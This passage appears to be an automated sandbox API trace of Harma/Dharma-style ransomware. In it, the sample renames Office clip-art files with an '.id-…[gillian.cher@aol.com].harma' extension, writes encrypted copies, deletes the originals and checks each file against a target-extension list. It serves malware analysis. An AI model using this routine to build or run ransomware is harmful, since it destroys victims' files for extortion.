GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=11994) returned 1 [0152.771] CloseHandle (hObject=0x208) returned 1 [0152.771] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00076_.wmf")) returned 0x20 [0152.771] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00076_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0152.771] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00076_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0152.771] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0152.771] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0152.771] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00076_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0152.772] GetLastError () returned 0x0 [0152.772] ReadFile (in: hFile=0x208, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x2eda, lpOverlapped=0x0) returned 1 [0152.809] WriteFile (in: hFile=0x328, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0x2ee0, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x2ee0, lpOverlapped=0x0) returned 1 [0152.810] ReadFile (in: hFile=0x208, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0152.811] WriteFile (in: hFile=0x328, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0152.811] SetEndOfFile (hFile=0x328) returned 1 [0152.811] CloseHandle (hObject=0x328) returned 1 [0152.811] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0152.811] SetEndOfFile (hFile=0x208) returned 1 [0152.815] CloseHandle (hObject=0x208) returned 1 [0152.815] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0153.071] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00076_.wmf")) returned 1 [0153.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 63 [0153.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 63 [0153.088] lstrlenW (lpString=".doc") returned 4 [0153.089] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0153.089] lstrlenW (lpString=".docx") returned 5 [0153.089] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0153.089] lstrlenW (lpString=".pdf") returned 4 [0153.089] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0153.089] lstrlenW (lpString=".xls") returned 4 [0153.089] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0153.089] lstrlenW (lpString=".xlsx") returned 5 [0153.089] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0153.089] lstrlenW (lpString=".ppt") returned 4 [0153.089] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0153.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 63 [0153.089] lstrlenW (lpString=".zip") returned 4 [0153.089] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0153.089] lstrlenW (lpString=".rar") returned 4 [0153.089] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0153.089] lstrlenW (lpString=".bz2") returned 4 [0153.089] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0153.090] lstrlenW (lpString=".7z") returned 3 [0153.090] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0153.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 63 [0153.090] lstrlenW (lpString=".dbf") returned 4 [0153.090] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0153.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 63 [0153.090] lstrlenW (lpString=".1cd") returned 4 [0153.090] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0153.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 63 [0153.090] lstrlenW (lpString=".jpg") returned 4 [0153.090] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0153.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 63 [0153.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 63 [0153.090] lstrlenW (lpString=".doc") returned 4 [0153.090] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0153.091] lstrlenW (lpString=".docx") returned 5 [0153.091] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0153.091] lstrlenW (lpString=".pdf") returned 4 [0153.091] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0153.091] lstrlenW (lpString=".xls") returned 4 [0153.091] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0153.091] lstrlenW (lpString=".xlsx") returned 5 [0153.091] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0153.091] lstrlenW (lpString=".ppt") returned 4 [0153.091] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0153.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 63 [0153.091] lstrlenW (lpString=".zip") returned 4 [0153.091] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0153.091] lstrlenW (lpString=".rar") returned 4 [0153.091] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0153.091] lstrlenW (lpString=".bz2") returned 4 [0153.091] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0153.091] lstrlenW (lpString=".7z") returned 3 [0153.091] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0153.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 63 [0153.092] lstrlenW (lpString=".dbf") returned 4 [0153.092] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0153.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 63 [0153.092] lstrlenW (lpString=".1cd") returned 4 [0153.092] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0153.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 63 [0153.092] lstrlenW (lpString=".jpg") returned 4 [0153.092] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0153.092] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0153.092] lstrlenW (lpString="FD00096_.WMF") returned 12 [0153.092] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00096_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0153.093] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=37390) returned 1 [0153.093] CloseHandle (hObject=0x37c) returned 1 [0153.093] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00096_.wmf")) returned 0x20 [0153.093] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00096_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0153.094] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00096_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0153.094] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0153.094] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0153.094] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00096_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0153.095] GetLastError () returned 0x0 [0153.095] ReadFile (in: hFile=0x37c, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x920e, lpOverlapped=0x0) returned 1 [0153.122] WriteFile (in: hFile=0x348, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0x9210, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x9210, lpOverlapped=0x0) returned 1 [0153.124] ReadFile (in: hFile=0x37c, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0153.124] WriteFile (in: hFile=0x348, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0153.124] SetEndOfFile (hFile=0x348) returned 1 [0153.124] CloseHandle (hObject=0x348) returned 1 [0153.124] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0153.124] SetEndOfFile (hFile=0x37c) returned 1 [0153.127] CloseHandle (hObject=0x37c) returned 1 [0153.127] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0153.657] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00096_.wmf")) returned 1 [0153.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 63 [0153.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 63 [0153.658] lstrlenW (lpString=".doc") returned 4 [0153.658] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0153.658] lstrlenW (lpString=".docx") returned 5 [0153.658] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0153.658] lstrlenW (lpString=".pdf") returned 4 [0153.658] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0153.658] lstrlenW (lpString=".xls") returned 4 [0153.658] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0153.658] lstrlenW (lpString=".xlsx") returned 5 [0153.658] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0153.658] lstrlenW (lpString=".ppt") returned 4 [0153.658] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0153.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 63 [0153.658] lstrlenW (lpString=".zip") returned 4 [0153.658] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0153.658] lstrlenW (lpString=".rar") returned 4 [0153.658] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0153.658] lstrlenW (lpString=".bz2") returned 4 [0153.658] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0153.658] lstrlenW (lpString=".7z") returned 3 [0153.658] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0153.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 63 [0153.658] lstrlenW (lpString=".dbf") returned 4 [0153.658] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0153.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 63 [0153.658] lstrlenW (lpString=".1cd") returned 4 [0153.659] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0153.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 63 [0153.659] lstrlenW (lpString=".jpg") returned 4 [0153.659] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0153.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 63 [0153.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 63 [0153.659] lstrlenW (lpString=".doc") returned 4 [0153.659] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0153.659] lstrlenW (lpString=".docx") returned 5 [0153.659] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0153.659] lstrlenW (lpString=".pdf") returned 4 [0153.659] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0153.659] lstrlenW (lpString=".xls") returned 4 [0153.659] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0153.659] lstrlenW (lpString=".xlsx") returned 5 [0153.659] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0153.659] lstrlenW (lpString=".ppt") returned 4 [0153.659] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0153.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 63 [0153.659] lstrlenW (lpString=".zip") returned 4 [0153.659] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0153.659] lstrlenW (lpString=".rar") returned 4 [0153.659] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0153.659] lstrlenW (lpString=".bz2") returned 4 [0153.659] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0153.659] lstrlenW (lpString=".7z") returned 3 [0153.659] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0153.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 63 [0153.660] lstrlenW (lpString=".dbf") returned 4 [0153.660] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0153.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 63 [0153.660] lstrlenW (lpString=".1cd") returned 4 [0153.660] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0153.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 63 [0153.660] lstrlenW (lpString=".jpg") returned 4 [0153.660] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0153.660] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0153.660] lstrlenW (lpString="FD00297_.WMF") returned 12 [0153.660] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00297_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0153.721] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=18194) returned 1 [0153.726] CloseHandle (hObject=0x370) returned 1 [0153.739] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00297_.wmf")) returned 0x20 [0153.740] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00297_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0153.740] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00297_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0153.740] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0153.740] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0153.740] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00297_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0153.741] GetLastError () returned 0x0 [0153.741] ReadFile (in: hFile=0x370, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x4712, lpOverlapped=0x0) returned 1 [0153.852] WriteFile (in: hFile=0x330, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0x4720, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x4720, lpOverlapped=0x0) returned 1 [0153.853] ReadFile (in: hFile=0x370, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0153.853] WriteFile (in: hFile=0x330, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0153.853] SetEndOfFile (hFile=0x330) returned 1 [0153.853] CloseHandle (hObject=0x330) returned 1 [0153.853] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0153.853] SetEndOfFile (hFile=0x370) returned 1 [0153.856] CloseHandle (hObject=0x370) returned 1 [0153.856] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0154.573] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00297_.wmf")) returned 1 [0154.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 63 [0154.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 63 [0154.573] lstrlenW (lpString=".doc") returned 4 [0154.574] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0154.574] lstrlenW (lpString=".docx") returned 5 [0154.574] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0154.574] lstrlenW (lpString=".pdf") returned 4 [0154.574] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0154.574] lstrlenW (lpString=".xls") returned 4 [0154.574] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0154.574] lstrlenW (lpString=".xlsx") returned 5 [0154.574] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0154.574] lstrlenW (lpString=".ppt") returned 4 [0154.574] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0154.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 63 [0154.574] lstrlenW (lpString=".zip") returned 4 [0154.574] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0154.574] lstrlenW (lpString=".rar") returned 4 [0154.574] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0154.574] lstrlenW (lpString=".bz2") returned 4 [0154.574] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0154.574] lstrlenW (lpString=".7z") returned 3 [0154.574] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0154.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 63 [0154.574] lstrlenW (lpString=".dbf") returned 4 [0154.574] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0154.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 63 [0154.574] lstrlenW (lpString=".1cd") returned 4 [0154.574] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0154.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 63 [0154.574] lstrlenW (lpString=".jpg") returned 4 [0154.574] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0154.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 63 [0154.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 63 [0154.575] lstrlenW (lpString=".doc") returned 4 [0154.575] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0154.575] lstrlenW (lpString=".docx") returned 5 [0154.575] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0154.575] lstrlenW (lpString=".pdf") returned 4 [0154.575] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0154.575] lstrlenW (lpString=".xls") returned 4 [0154.575] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0154.575] lstrlenW (lpString=".xlsx") returned 5 [0154.575] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0154.575] lstrlenW (lpString=".ppt") returned 4 [0154.575] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0154.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 63 [0154.575] lstrlenW (lpString=".zip") returned 4 [0154.575] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0154.575] lstrlenW (lpString=".rar") returned 4 [0154.575] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0154.575] lstrlenW (lpString=".bz2") returned 4 [0154.575] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0154.575] lstrlenW (lpString=".7z") returned 3 [0154.575] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0154.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 63 [0154.575] lstrlenW (lpString=".dbf") returned 4 [0154.575] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0154.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 63 [0154.575] lstrlenW (lpString=".1cd") returned 4 [0154.575] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0154.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 63 [0154.576] lstrlenW (lpString=".jpg") returned 4 [0154.576] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0154.576] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0154.576] lstrlenW (lpString="FD00361_.WMF") returned 12 [0154.576] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00361_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0154.577] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=4074) returned 1 [0154.577] CloseHandle (hObject=0x384) returned 1 [0154.577] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00361_.wmf")) returned 0x20 [0154.577] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00361_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0154.577] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 